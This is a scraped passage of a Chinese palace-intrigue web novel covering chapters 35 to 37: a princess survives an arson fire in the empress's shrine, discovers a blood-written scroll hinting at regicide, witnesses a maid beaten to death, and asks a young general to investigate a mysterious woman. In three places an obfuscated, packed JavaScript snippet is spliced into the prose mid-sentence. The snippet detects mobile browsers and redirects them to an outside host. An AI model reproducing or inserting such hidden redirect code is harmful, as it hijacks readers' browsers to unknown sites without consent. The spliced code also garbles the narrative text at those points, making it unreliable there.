所以,就算皇后能答应,皇帝,以及前朝那些个人精似的老臣,却绝不可能点头。 空气骤然凝固。 皇后搭在榻沿的手背上暴起几根青筋,她轻抬手指,翡翠扳指撞上木头,发出“嗒叭”的一声脆响。 窗外不知何时飞来几只麻雀,在檐下叽叽喳喳叫个不停,像在嘲笑着这殿里的沉默。 “当真是好一张利嘴。”过了好一会儿,皇后才慢慢站起身,裙摆上的金线凤凰随着动作泛起波纹,像要活过来了一般,“毓儿如此能言善辩,便替母后去佛堂抄抄经吧。也让佛祖看看,咱们东陵城的公主,生了一张怎样的巧嘴!” 重华宫的宫道两旁种满了海棠,此时已结了小小的青果,青中带黄,攥在手里硬邦邦的。胥毓走得很慢,手指拂过那些果实,晨露沾在指尖,凉丝丝的。 她现在在想,是谁把邰玉轩进了未央宫的事告诉的皇后。 昨夜偏门的守卫、巡夜的内侍、甚至廊下打盹的老太监……看见的人太多了,每个人都有可能。 当然其实她也没打算瞒。 毕竟故意让邰玉轩送自己回宫,本就是要借这桩“私情”,掩盖她夜探密室一事。 可回想起密室里听到的那些话,胥毓的心里又免不了更加发沉,她现在谁也信不过,总感觉身边的人似乎都会冷不丁地捅上她两刀。 尤其是芳吟,其他人好歹还算是自己培养出来的,可芳吟却实打实是皇后的人。 这她一直知道,以前也没觉着有什么,可如今今非昔比,怀疑的种子落地便会长出参天大树,所以她现在突然觉得,把这样一个人留在身边,就像是揣着颗不知何时就会炸开的爆竹。 就这么想着想着,转过一道雕花影壁,便见不知从哪儿冒出来的芳吟正站在远处的海棠树下,像是在等着自己。 她穿着件月白比甲,手里攥着个素面帕子,见了胥毓,眼睛亮了亮,又很快暗下去,像被风吹灭的烛火。 “公主……”芳吟的声音很轻,眼底的情绪缠成一团,有担忧,有愧疚,还有些说不出的慌张。 胥毓停下脚步,阳光穿过海棠叶,在她脸上投下斑驳的光影。 这一刻她想了很多。 想起芳吟教她规矩时的外刚内柔,想起芳吟深夜时为她温的莲子羹,也想起了自昨夜有了间隙,她总一个人退到廊柱后时落寞的背影…… 但想完这些后,她最终还是声音平静地开了口:“芳吟,我如今身边已有可用之人,你既是母后的人,便回母后身边去吧。” 这话说得突然,所以甫一出口,就连旁边的琴夏都惊得睁圆了眼。 芳吟是宫里的老人,办事妥帖,性子又敦厚,为什么突然就要赶她走? 芳吟更是猛地抬头,脸色比先前还要白上三分。 她“咚”地跪在地上,膝头撞得青砖发响:“公主!奴婢不是皇后的人!求公主不要赶奴婢走!” 胥毓站在台阶上,阳光把她的影子拉得很长,正好将跪在地上的芳吟整个笼罩其中。 她看着芳吟,其实还是有些不舍的,可这不舍,与丢命比起来,实在显得微不足道。 “不是皇后的人,也会是别人的人。”所以她听见自己的声音如是说道,“你的秘密太多,而我,只想要忠心于我的人。” 芳吟一脸惊诧,自然明白了胥毓的未尽之言。 公主这是不信任她了。 可是,就算全天下的人背弃公主,伤害公主,她也绝对不会站到公主的对立面呀! 芳吟泪流满面,突然重重地磕了三个响头,她将额头撞在青石砖上,发出闷响,很快,砖上就现出几点暗红的血痕。 “公主容禀,奴婢此生只有两位主子。”她的声音抖得厉害,低下去,几乎化作气音,“前一位,是位不能提的宫廷禁忌,后一位便是公主。皇后娘娘是好人,但她只是收留了奴婢,算不得主子。所以公主,请您不要赶奴婢走,就算全天下的人都背弃于你,芳吟也绝对会是您最后的护盾!” 胥毓心头猛地一跳,像被什么东西狠狠撞了下。 禁忌? 她几乎下意识想到了胥季荷的名字,那个皇帝躲在密室里日日思念的女子,是她,一定是她!只是没想到,这个人,竟然会是个宫廷禁忌!而芳吟,居然是她的人! 难怪她看起来总有那么多秘密,难怪她总在不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092179|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间,露出和皇帝、皇后一样睹“物”思人的情绪…… 胥毓蹲下身,捏住芳吟的下巴,迫使她抬头。 芳吟脸上,还能看见她眼角未干的泪痕:“你知道我的身世?” 芳吟的瞳孔骤然收缩,像受惊的鹿,连呼吸都有了片刻的停滞。 但她也知道,如果自己此刻还是什么都不说的话,眼前的这个小公主,绝对会如她所言的让自己滚回到皇后的身边。 那绝非她所愿! 所以过了好一会儿,她才轻轻点了点头:“公主若有了承担真相的力量,不只是奴婢,皇后娘娘也自当会全盘托出。只是现在,您的力量实在太过微弱,所以就算说出来,除了徒增伤悲,也不过是害人害己!” 什么都没说,但也相当于是什么都说了。 一阵风吹过,海棠树的影子在地上摇晃,枝桠张牙舞爪,像无数鬼魅。 胥毓松开手,指尖沾了点芳吟脸上的泪,凉的,正如她此刻的心情,凉彻心扉。 原来,她真的不是公主。 她忽然笑了,笑声很轻:“起来吧。本公主……要去给母后抄经了。” …… 佛堂设在皇后寝宫后的僻静处,四周遍植菩提树,此时叶子正值青黄,风一吹就“沙沙”作响。 胥毓跪坐在蒲团上,面前的小几上摆着厚厚一叠宣纸,墨条在砚台里磨出淡淡的香。观音像前的长明灯静静燃烧,将她的影子投在墙上,又瘦又长,像个孤单的魂。 她今日抄写的是《金刚经》,经文复杂,她字也写得难看,所以才抄了两遍,就烦躁的拿着蒲团当枕头,在小佛堂的观音像前仰躺着小憩起来。 但石板地实在太硬,就算睡也睡得不安稳,所以没一会儿,胥毓又迷迷糊糊地醒过来。 她此刻脑子昏沉,总觉得这小佛堂里的空气有些闷人,刚开始她还当是小佛堂常年燃着檀香,味道醇厚,自己鲜少接触才稍有不适。 可现在呆得久了,她隐约觉得鼻腔里还钻进了一股奇怪的味,混在檀香里,似乎有点像……菜油? 她抬头环顾四周。 供桌擦得锃亮,贡品看起来十分新鲜,观音像白净如玉,似乎一切如常? 直到目光落在墙角,那里新换了几支红烛,比寻常的粗了一倍,烛泪顺着烛身往下淌,但却不是寻常的白,而是泛着诡异的黄! 不对劲!这蜡烛好像有问题! 就在胥毓伸手要去碰那蜡烛时,一阵风从窗缝钻进来,长明灯的火苗突然“腾”地窜高,舔上了垂在半空的经幡。火舌像条红蛇,顺着绸布迅速爬上房梁,眨眼间就引燃了半面墙的帷帐,浓烟“轰”地涌起来。 “走水了!”胥毓跳起来冲向门口,手指刚碰到门闩,就被烫得缩回手。 这门从外面被扣死了! 她用力拍打门板,掌心传来灼热的温度,似乎门外也起了火! 浓烟呛得她剧烈咳嗽,视线也逐渐开始变得模糊。 慌乱中,她瞥见观音像的供案旁放着一桶似乎是浇花用的清水,于是顾不得干不干净,赶紧跌跌撞撞地扑了过去,然后一把扯下供桌上的绣金桌布浸入水中。 供桌被她扯得剧烈摇晃,观音手中的净瓶“啪”地摔在地上,碎成数片。 胥毓正要弯腰去捡湿布,却看见碎片中间,似乎露出了一角米白的绢纸。 火势越来越猛,房梁发出“咯吱”的呻.吟,似乎随时会塌下来。 胥毓用湿布捂住口鼻,跪在地上摸索着捡起那卷绢纸,展开的瞬间,她的血液几乎瞬间凝固。 那是一篇用血抄写的《往生咒》! 且字里行间,夹杂着用朱笔勾勒的“弑君”“鸩杀”“癸酉年大寒”等字样,每个字都像是淬了毒的针,扎得她眼睛生疼。 当然最可怕的还是要数那笔迹,圆润中带着点锋锐,赫然便是皇后亲笔! “轰”的一声巨响,一根燃烧的横梁砸在她的身旁,火星溅到裙角。胥毓慌忙将绢纸塞进袖中,然后抓起湿布蒙住脸,冲向已经开始燃烧的窗户。 她必须活着出去!必须弄清楚皇后为何要杀皇帝!还有那个“癸酉年大寒”,到底代表着什么! 而就在她撞向窗棂的瞬间,隐约听见火场外传来一阵撕心裂肺的喊声,是芳吟! “公主!公主——” 36. 有些真相,会要人命 火舌已经舔到胥毓的裙角,她蜷缩在佛堂西南角的青石地砖上,湿布掩住的口鼻仍能闻到木头烧焦的糊味,袖中那卷染血的经书像块烙铁,烫得她整条手臂都在发抖。 “公主!” 一声嘶吼穿透噼啪的燃烧声。 胥毓勉强抬头,透过浓烟看见侧门处晃动着两个人影。 高个的那个正用肩膀猛撞门板,每一次撞击都让门框簌簌落下木屑,是褚奎。 他身后跟着个纤瘦身影,正用铜盆往门上泼水,是芳吟。 “退后!” 褚奎暴喝一声,玄色窄袖戎装下的肌肉虬结突起,那卯足了力气的撞击带着千钧之力,只是一脚,腐朽的侧门便发出哀鸣,随后轰然倒塌。 热浪包裹着火星扑面而来,胥毓本能地闭眼,却在下一秒骤然感觉到一双有力的手臂穿过腋下将她提起。 她惊慌地睁开眼睛,还未看见人脸,就已经嗅到了褚奎身上带着铁锈与汗水的味道,混合着佛堂里浓郁的焦糊气息,竟莫名让人觉得安心。 “经书……”逃出火场后,胥毓在咳嗽的间隙呢喃,右手不自觉地按住左袖。 芳吟的视线立刻黏在那处。 她的眼睛在浓烟中依旧亮得吓人,像是能穿透锦缎看清里面藏着的秘密,所以趁着褚奎没注意,她突然伸手按住胥毓的腕子:“公主,松手!” 胥毓一怔。 而就在这迟疑的刹那,袖中绢纸滑出半截,血色的"弑君"二字在火光中一闪而过。 芳吟倒抽一口冷气,而褚奎正忙着用披风扑打胥毓裙摆上的火苗,全然未觉。 “这东西是个隐患。”芳吟声音压得极低,指甲几乎掐进胥毓的皮肉,“留着百害而无一利!” 胥毓并不惊讶芳吟仅一眼就知晓这是什么东西,她在皇后的身边呆了这么多年,要真是什么都不知情,那才算得上是奇怪。 只是这东西得来不易,若是毫不利用,实在弃之可惜。 她当然也知道这东西牵连甚广,若是被有心人稍加利用,不只是皇后,恐怕整个未央宫,甚至就连皇后背后的沈家,都会被牵连其中。 可它作为皇后的致命把柄,利用的人若是换成自己,结果会不会能好上许多? 她不想要任何人的性命,她只是想求个答案,尽管那个答案在她的心中已经有了雏形,但她就是想听那个人亲口将自己心中的那个猜想印证。 因为这样起码可以让她觉得,尽管这里的一切都是假的,但到底还是有那么一个人,对她并不只是欺骗。 佛堂主梁发出不堪重负的断裂声,胥毓望向供桌的方向,那里早已被火海吞噬,观音像上的金漆也正在高温中逐渐剥落。 皇后每日在此焚香祷告的画面突然浮现在她的眼前。她忽然有些好奇,那个总是不肯弯下脊梁的,冷若冰霜的女人,究竟会在四下无人的时候,对着这佛像露出怎样疲惫的神情? “算了。”不知是想到了什么,胥毓猛地将经书掷入火海,绢纸遇火即燃,那些血字在扭曲中化作灰烬。 她总还是叫过她几声母后的。 褚奎终于注意到她们的异常:“怎么了?” “无事。”胥毓剧烈地咳嗽起来,“先走吧……” 三人刚彻底冲出佛堂,身后就传来震耳欲聋的坍塌声,胥毓跌坐在庭院里的青砖上,贪婪地呼吸着新鲜空气。 紧绷的神经骤然放松,一阵接一阵的钻心痛感便瞬间席卷她的大脑。 胥毓疼得龇牙咧嘴,这才发现自己的十指漆黑一片,满是擦伤,而右臂衣袖不知何时也被烧出了个焦黑的窟窿,此刻正从里面露出几个泛红的水泡。 “公主受伤了,快传太医!” “皇后娘娘驾到!” 芳吟焦急地去请太医的呼喊声与太监尖利的通传声在此刻同时响起,胥毓抬头,远远便看见皇后带着大批宫人疾步而来。 阳光斜洒在她的身上,将那袭绛紫色的宫装镀上一层金边,晃得人有些睁不开眼。 此时的皇后右手紧攥着一串佛珠,指节泛白,翡翠扳指在阳光下闪着冷光。 胥毓回宫这么久,好像还是第一次在她的脸上看见如此鲜活的情绪,那是愤怒吗?可是……她又是在为谁愤怒? 总不能是为了自己? 皇后在胥毓面前站定,芳吟赶忙将小佛堂内突然起火,胥毓险些丧命的前因后果一五一十交代清楚。 皇后安静地听着,她那双波澜不惊的眸子始终落在胥毓的头顶,胥毓能感觉到那束视线之下灼人的温度,但她却始终不敢抬起头来。 除了担心皇后发现自己知晓了净瓶里的秘密外,胥毓其实也有些害怕,怕这场火灾的幕后真凶,不是别人,而正是眼前这位冷若冰霜的皇后娘娘。 尽管她暂时还不想把皇后想得这样糟。 可皇后像是对胥毓的想法毫不在意,听罢芳吟的回禀,她的视线冷冷地在四周扫视了一圈,便径直下令。 “封宫,查!” 最后那个字眼就像柄利剑,骤然劈开了眼下混沌的局面。 转眼间,羽林卫便封锁了未央宫的所有宫门,太监们捧着名册开始清点人数。胥毓被扶到廊下坐着,匆匆赶来的太医正为她包扎手臂,她注意到皇后始终站在庭中那棵菩提树下,阳光透过树叶在她的脸上投下斑驳的阴影。 若这火灾真是出自她手的话,她又何至于如此劳师动众?所以胥毓心底的怀疑,在此刻逐渐有了松动。 她想,皇后即便不是她的亲娘,就凭她谁也不爱搭理的拽样,就算想要自己的命,估计也是像之前明目张胆用毒膳试探般,直接一杯毒酒便了事,那会拐弯抹角弄出这等琐事。 而偏爱用这些邪门歪道手段的,除了已经被罚去守皇陵了的胥锦婳,胥毓心里倒确实是还有一个人选。 胥嘉。 这个真正想要对付自己的幕后黑手,细细想来,似乎已经有很长时间没听见她的消息了,只是胥毓倒是不知,她竟还如此想着自己。 “回娘娘,今日负责伺候小佛堂花草的宫女秋菊不见了。”没过一会儿,未央宫的大太监卢喜跪地禀报,“有人看见她巳时末往东宫的方向去了。” 佛珠突然断了线,檀木珠子噼里啪啦砸在青砖上,跳得到处都是。皇后弯腰拾起一颗,用拇指慢慢摩挲着上面雕刻的梵文。 “带回来。” 这三个字轻得像叹息,却让在场所有人绷直了脊背。胥毓看着羽林卫飞奔而去的背影,突然想起刚进宫的那日,宫道两侧俱是佩刀的金甲缇骑,那日带路的嬷嬷是怎么说的来着? “这些是皇城司的缇骑,专司缉拿宫闱叛逆,不会惊扰了贵人……” 确实不会惊扰了贵人,毕竟,哪有刀剑会伤害自己的主人? 不到半个时辰,消失的侍卫们便拖回了个满脸是血的宫女。那女子右臂以诡异的角度弯折着,嘴里塞着麻核,只能发出呜呜的哀鸣。胥毓认了出来,她就是常在皇后院子里伺候的洒扫宫女,只是没说上过话,不知晓名姓。 “东宫的人?”皇后用鞋尖挑起宫女的下巴,看了一眼,便又任由她的脑袋砸在地上,“太子让你烧死本宫的女儿?” 宫女疯狂地摇头,眼泪混着血水往下淌。 但皇后却已经直起身,她竟是根本就没想过要从这宫女的口中问出什么东西,只看了一眼,就对身旁的嬷嬷摆了摆手:“杖毙,哪儿来的送回哪儿去。” 哪儿来的?当然是东宫来的!胥毓有些惊讶,皇后此言,岂非是将人打死了又扔回到东宫去,明晃晃地打太子的脸! 她猛地站起来,太过激动甚至一不小心打翻了一旁太医的药箱。 “母后……”她声音发抖。 皇后转身看她,眼神温柔得可怕,“怎么,毓儿难道要为东宫求情?” 此时的未央宫中,除了那宫女接二连三地惊恐呜咽,满院寂静。一只不知从何处飞来的乌鸦落在皇后身旁的菩提树上,突然发出刺耳的嘎嘎声。 胥毓看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097137|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着皇后眼角的细纹,想起净瓶里那卷血绘的经书,一瞬之间有些恍惚,此刻站在她面前的,究竟是那个深夜送她莲花玉佩,面冷心热的母后,还是一个正谋划着弑君杀夫,满腹算计的毒妇? “儿臣是想说……”但她很快就冷静下来,然后缓缓跪地,“或许该留下活口问问话。” 皇后笑了,她走到胥毓面前,亲手将人扶起。 “傻孩子。”她为胥毓理了理烧焦的衣领,“你能问到的,也不过是敌人允许你知道的罢了,但那能有什么用?记住,只有教训,才能让人长记性!” 廷杖砸在□□上的闷响持续了足足三十余下,那名叫秋菊的瘦弱宫女才总算是彻底咽气。 胥毓死死掐着自己的掌心,尽管芳吟劝了她好几次不要看,她也极度不适到好几次差点呕吐出来,但却始终强迫着自己看着那个宫女从挣扎到瘫软的全过程。 直到最后一下,血已经浸透青砖缝隙,流向庭院低洼处的排水孔,胥毓才终于没忍住,“哇”地一声吐了一地。 “送公主回宫。”皇后掏出手帕擦掉胥毓额头的冷汗,波澜不惊的眸子里不辨喜怒,“今日受惊,经书便改日再抄,先回去好好歇着吧。” 皇后走了,一如来时那般,胥毓看着她的背影,脑子里却始终只有那句“敌人”。 所以,皇帝,太子,全都是皇后的敌人? 回宫的路上,胥毓一直沉默。 途经南华潭时,她突然停下脚步,池中锦鲤正在争食,搅得水面泛起猩红涟漪,像极了方才庭院里的那滩血。 “公主……”看着胥毓心事重重的模样,芳吟有些欲言又止。 “皇后的秉性历来如此?”胥毓盯着水面,显然还在回想方才小佛堂发生的事。 芳吟没有直接回答,她接过宫人递来的披风为胥毓系上,“……娘娘待您,终究是不同的。” 这是默认了。 只是为什么待自己不同,她没有说,皇后也从来没有提及。 胥毓心里大概有个猜测,或许是因为胥季荷,但胥季荷的身份到底是什么人,为什么会让这么些个贵人都对其念念不忘? 她想,她必须得找个人帮她查查了,不能再这样一直被蒙在鼓里。 胥毓望向东宫的方向,那里隐约传来些喧哗声,想必是皇后的“小礼物”已经送了去,东宫的人正慌不迭地“迎接”。 未央宫的海棠近日结果更多了,沉甸甸地压弯枝头。胥毓走到树下,突然伸手摘下一颗青果,果实坚硬冰凉,带着初春的涩意。 “芳吟。”她碾碎那颗果子,汁液染绿指尖,然后不经意地突然调转话头,“癸酉年大寒,宫里发生过什么?” 芳吟的心脏“突突”直跳,但面上依旧一派波澜不惊,有些事情,她真的很想对眼前的少女一股脑的倾吐,但却绝不是现在。 一棵刚从地里冒土而出的青笋,若是灌溉过甚,极有可能适得其反,现在的她,还不足以承担这份沉甸甸地真相。 所以她顿了顿,声音飘忽:“那年冬天特别冷,宫里冻死了好多花木,除此以外,并未发生什么大事。” 她确实没有说谎,癸酉年大寒,宫里一如往常,并没有发生什么大事,只是远在千里之外的北甸城边上,死了个无足轻重的人…… 胥毓看见她后颈渗出的细密汗珠,明白这些人说的“时机”不到,自己不会从她们嘴里听见一星半点的真相,所以视线上移,忽而落在了她发顶的莲花玉簪上。 那玉是难得一见的好玉,只是款式早已不为宫里所时兴,胥毓忽然伸手拔下那支簪,惊得芳吟猛地抬头。 “这应当是那位的东西吧。”胥毓没提胥季荷的名字,但说的是谁她相信芳吟心知肚明,默默地转动着手里的玉簪,胥毓隐约能从阳光下看到内壁刻着个小小的“荷”字。 芳吟脸色骤变,顾不得尊卑礼仪,慌忙地将东西从胥毓的手里抽回,然后跪倒在地。 “公主别再问了,有些真相……会要人命的!” 37. 就怕他不见 未央宫的海棠果开始泛红了,胥毓倚在朱漆廊柱下,指尖捏着一颗半红的果子轻轻转动。 前几日那场大火留下的焦糊味似乎还萦绕在鼻端,混着此刻庭院里飘来的药香,形成一种奇特的苦涩。 “公主,该换药了。”芳吟捧着青瓷药碗走来,碗中的黑色药膏散发着浓烈的苦味。 胥毓伸出手臂,任由宫女们解开绷带。宫里的药极好,不过几日,烧伤处已经结了一层薄痂,覆盖在胥毓的手臂上,就像是一片半透明的蝉翼。 她盯着那道伤痕,还在回想净瓶中那卷被焚毁的血书。 皇后的秘密随着火焰化为灰烬,可那些字句却已经深深地烙在了她的脑海里…… “听说太子这几日称病闭门不出。”芳吟蘸着药膏,声音压得极低,“没去学堂,甚至连早朝都免了。” 胥毓听罢唇角勾起一抹冷笑,暗道那具被扔在东宫门前的尸体果然起了作用。 她望向宫墙上方的一角碧空,看着云絮如撕碎的棉帛飘浮其间,问道:“胥嘉近日在做什么?” 芳吟的手顿了顿:“胥嘉郡主倒是日日循规蹈矩的去学堂,只是这几日或许是担忧太子,故往东宫跑得勤了些。” 胥毓觉得好笑。 担忧太子肯定是有,但这次想必应当只是其次。毕竟此次纵火一事,行凶之人虽出自东宫,但幕后主使,倒还轮不上太子。 虽说太子和胥嘉狼狈为奸,都不想让自己好过,可作为皇子,胥阳丹大展身手的地方自然是在前朝。 对于自己这么个小皇妹,就算侥幸在几次争斗中胜了几筹,他也完全不会放在眼底,只会让胥嘉这么个同处后宫的女人来对付自己。 而胥嘉失手也无事,左右还有他这么个太子在背后兜底。 但料想他千算万算也不会猜到,胥嘉竟选了个这样又毒又蠢的法子,没害着自己也就罢了,竟还教皇后抓住把柄,牵连上了东宫。 太子如今虽拉帮结派,培养了不少自己的势力,但皇位之争,素来残酷,就算二皇子不争不抢,高贵妃家的权势摆在那里,也自然有的是人争相投靠。 所以此次失误,前朝那些个政敌口诛笔伐,实在是让他吃了好大一鼻子灰。 而这一切的罪魁祸首胥嘉,就算是他心爱的女人,也难免会有些让他心有怨怼。 故这几日接二连三的拜访东宫,胥嘉估摸着也是有苦难言。 药勺刮过瓷碗的声响刺耳极了,胥毓眯起眼,听着远处宫人修剪花枝的咔嚓声,一下一下,像是铡刀起落。 心里的烦闷却并没有因为太子和胥嘉的自食恶果而好上几分。 毕竟,从上次胥锦婳被送去皇陵时,她就以为这场闹剧该结束了。 她不过是个普普通通的公主,与皇位争斗没有丝毫的阻碍,所求也不过是一隅安身之所,可这些人却偏要一而再再而三的赶尽杀绝。 兔子急了还要咬人呢,更何况是她这么个本就睚眦必报的小人。 “更衣。”所以换了药,胥毓便立马起身,“既然人家搭好了戏台,我们不去捧场怎么能行,太子殿下病了这么多日,光叫胥嘉去看也不是个事儿,本公主好歹也算个亲妹妹,也是时候该去表表关心了。” 但芳吟刚要应声,却听宫门处此时忽然传来一阵骚动。她透过雕花窗棂远远望去,便见皇后身边的香巧正拦着一个玄色身影,不让人进门。 那挺拔如松的轮廓,不是邰玉轩又是谁? “……世子请回吧。”香巧的声音隐约传来,“您是外臣,单独求见公主实在不妥,更何况公主还需要静养。” 胥毓眼下也注意到了外边儿的动静,她不自觉地向前迈了半步,小心地瞥了一眼外边儿的动静。 自那夜送自己回宫后,也不知是不是当时挑.逗的实在太狠,这人竟连着躲了好几日没给她传过半点消息。 今日忽然又不请自来,莫不是听闻她受伤,便有些忍不住了? “本官受皇上指派,为诸位皇子公主教授武艺,是为公主之师。为人师者,关心弟子安危,乃是分内之事,何来不妥,所以还望香巧姑娘通融片刻。”邰玉轩抱拳行礼,也不知他在此折腾了多久,后颈处都已经渗出了细密的汗珠。 皇后便是在这时出现的。 她着一袭深青色宫装,发间的九凤步摇纹丝不动,整个人像座玉雕般立在宫门口的石阶上。 胥毓看见邰玉轩的喉结滚动了一下,靴尖微不可察地转向外侧,他似乎不想和皇后对上。 “邰世子。”皇后的声音格外冷淡,一贯的有话直说,不留余地,“你几次三番私会公主,究竟存的什么心思?” 一片枯叶打着旋儿落在邰玉轩的肩头,少年将军的耳根以肉眼可见的速度红了起来,连带着脖颈都泛起潮红。 看样子,他应该也明白那夜之事传到了皇后的耳朵里。 “若是有心求娶,大可请皇上赐婚。”皇后转动着腕上的翡翠镯子,继续说道,“这般鬼鬼祟祟,莫不是是想要坏了我儿名声?” 邰玉轩深深揖下去,腰背弯成一张紧绷的弓,事虽然是胥毓开的头,但也怪他自己定力不足,没能坚守本心,错处在他。 所以他无从辩驳,只能认错:“臣……知罪!” 之后皇后又训诫了几句,邰玉轩才失魂落魄的从未央宫的宫门口离开。 胥毓看着他倒退着离开宫门,背影僵硬得像块石头,没忍住将指尖掐进了掌心。 这就走了? 但脸上的不甘还没来得及收回,在门前站了片刻的皇后,却忽然抬头朝她所在的方向望来。 胥毓心底一惊,急忙后退,却不慎碰翻了案上的药碗。 “公主小心!”芳吟慌忙去接,却只抓住几滴飞溅的药汁。 瓷片碎裂的声音惊起檐下一对麻雀,胥毓盯着地上蜿蜒的药渍,正担忧皇后有没有发现自己刚刚偷听的行径,就忽然听见窗外传来了阵极轻的敲击声。 芳吟显然也听见了,她与胥毓对视一眼,然后默默退出内室,顺手带上了门。 胥毓这才走到窗前,她刚推开一条缝,就看见邰玉轩这小子表面像霜打的茄子似的跑了,实际上却半路调头翻墙爬进了自己院子。 真真是好一招声东击西。 “有失君子风度啊,邰将军。”胥毓支着窗棂轻笑。 邰玉轩没想这么隔得老远的“千里传音”,所以一把将窗户的缝隙拉大,便翻身跃入室内。 他站定后的第一件事就是去查看胥毓的手臂:“伤得重不重?” 这些时日,皇帝交代了些差事给他,他一直忙得脚不沾地,所以等听到未央宫走水,胥毓受伤的消息时,已经晚了好几日。 胥毓任由他握住自己的手腕。 少年的掌心粗糙温热,指腹有常年握刀磨出的茧子,刮在她细嫩的皮肤上,激起一阵细微的战栗。 “你再晚来几日,只怕都要痊愈了。”胥毓用没受伤的左手戳了戳他胸口,“不过邰将军翻墙的功夫日益见长,也不知道平日里都是在哪个小娘子的院子里勤加练习?” 邰玉轩的耳根又红了。 他松开胥毓的手腕,从怀中掏出个青瓷小瓶:“雪玉膏,对烧伤最有效。” 胥毓接过药瓶,瓶身还带着少年的体温,揭开盖子,一股清冽的薄荷香扑面而来。 她问道:“你来这儿难道就只为了送药?” 她当然知道不是,只是就想问问他,逗逗他,让他多说两句话,别一天板着张臭脸,活像谁欠了他银子没还。 “当然不是。”邰玉轩突然正色,一想起自己来着儿到底是干嘛的,眉眼间顿时就凝起了一股肃杀之气,“佛堂失火,究竟是怎么一回事?” 他得到的消息是太子宫中的丫鬟失手点燃了皇后的小佛堂,所以致使当时还在佛堂抄经的胥毓遭受牵连,无辜被伤。 但在宫里边儿呆了这么久,皇室那为了保全颜面所编纂出来的理由他早不知听了几十几百个,所以不用脑子想就知道多半是假的。 毕竟太子的宫女如何能好端端的跑到皇后的未央宫来失手放了火,还被皇后直接下令杖毙,再给扔回了东宫。 如此不留情面的做法,必然是连皇后都被逼得急了才会出此下策。 怎么可能会是那么个轻飘飘的理由就能轻易揭过? 胥毓走到梳妆台前,铜镜中映出她苍白的脸色和邰玉轩紧绷的下颌线,她本就没打算隐瞒,且还有事要求邰玉轩帮忙,所以他一问,她便将胥嘉借太子之手谋害自己的推测娓娓道来。 她边说还边观察着镜中人的反应,“……所以我想,就算胥锦婳已经被送去了皇陵,也不能对他们有所警醒,他们这是铁了心的要将我除去。” “你打算怎么做?”少年将军的声音沉了下来。 胥毓从妆奁底层取出一支金镶玉步摇,在掌心轻轻拍打:“能怎么样?既然是个假货,那自然是送她去她该去的地方!” 一个假公主,天恩眷顾留她在宫中,凭借与太子的恩情将来甚至还有可能冠宠后宫,作为画本子里的女主角,这样好的命,她不好好爱惜羽毛修养自身,竟是每日里想着如何对付自己这个毫无威胁的公主。 那可就别怪她手下不留情,给他们一点颜色瞧瞧了! 只是,要用个什么法子来治治这个胆大包天的假公主呢…… 胥毓正想着,一旁的邰玉轩却突然单膝跪地。胥毓冷不丁的被吓了一挑,刚要问她这是干嘛,就见他仰头看着自己,目光灼灼地说道:“阿柳,让我帮你。” 日光在他浅色的眸中映出琥珀色的光晕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但那丫鬟离开后才知自己竟已怀孕,她知道此事若是被国公夫人知晓,自己必然难逃一死,所以便并未张扬,而是独自一人辗转去到了北甸城的丹骆村。 她原是想将孩子生下来,然后自己独自将其抚养长大,但谁知生产后害了病,照顾了邰玉轩没几年,就撒手人寰了。 按理来讲镇国公府并不会知道邰玉轩的存在,但丫鬟作为母亲,终究是放心不下自己的孩子,所以弥留之际,还是没忍住给国公夫人送信,告知了邰玉轩的存在,期望着他们能将这么小的孩子给接回去。 窗外一阵风过,吹得案上诗笺沙沙作响,胥毓看见邰玉轩的眼中闪过一丝痛楚,她鬼使神差地伸出手,抚上了他紧绷的脸颊。 “所以……你继承世子之位后……” “我已同国公夫人说开,往后只要不牵连镇国公府,我再无桎梏。”邰玉轩抓住她的手,贴在额前,“从今往后,我要做公主手中最利的刀。” 胥毓感受到掌心传来的温热湿意,她低头看着少年乌黑的发顶,内心触动,想起先前仗着他不敢越雷池半步的胆大妄为,心里在此刻竟莫名觉出了几分局促来。 “那帮我查一个人吧。”于是她慌忙地抽回手,然后转身从暗格中取出一只木头小人,“是个女子,叫胥季荷。” 小木偶雕刻的活灵活现,虽然并没有描上颜色,但也不难看出其眉眼与胥毓有七八分相似,只是嘴角噙着的那抹笑意,较之胥毓,要更显温婉些。 邰玉轩接过小木头人,抬头,低头,抬头,低头,然后有些迟疑地道:“这是——” “不是我!”胥毓赶忙否认,“这是我在父皇的密室里找到的,她的身份很重要,知道了她是谁,我想……我会知道很多埋藏已久的秘密,所以,你一定要以最快的速度帮我查出来!” 看着胥毓严肃的表情,邰玉轩郑重地将那只小木偶塞入了怀中。 姓“胥”,就算不是皇室中人,那也必然和皇室有所牵连,所以要想查出这个人的真实身份并不难。 “三日后,你回学堂上课,到时候我把答案给你带来。”少年跨上窗台,回头深深看了胥毓一眼,“照顾好自己。” 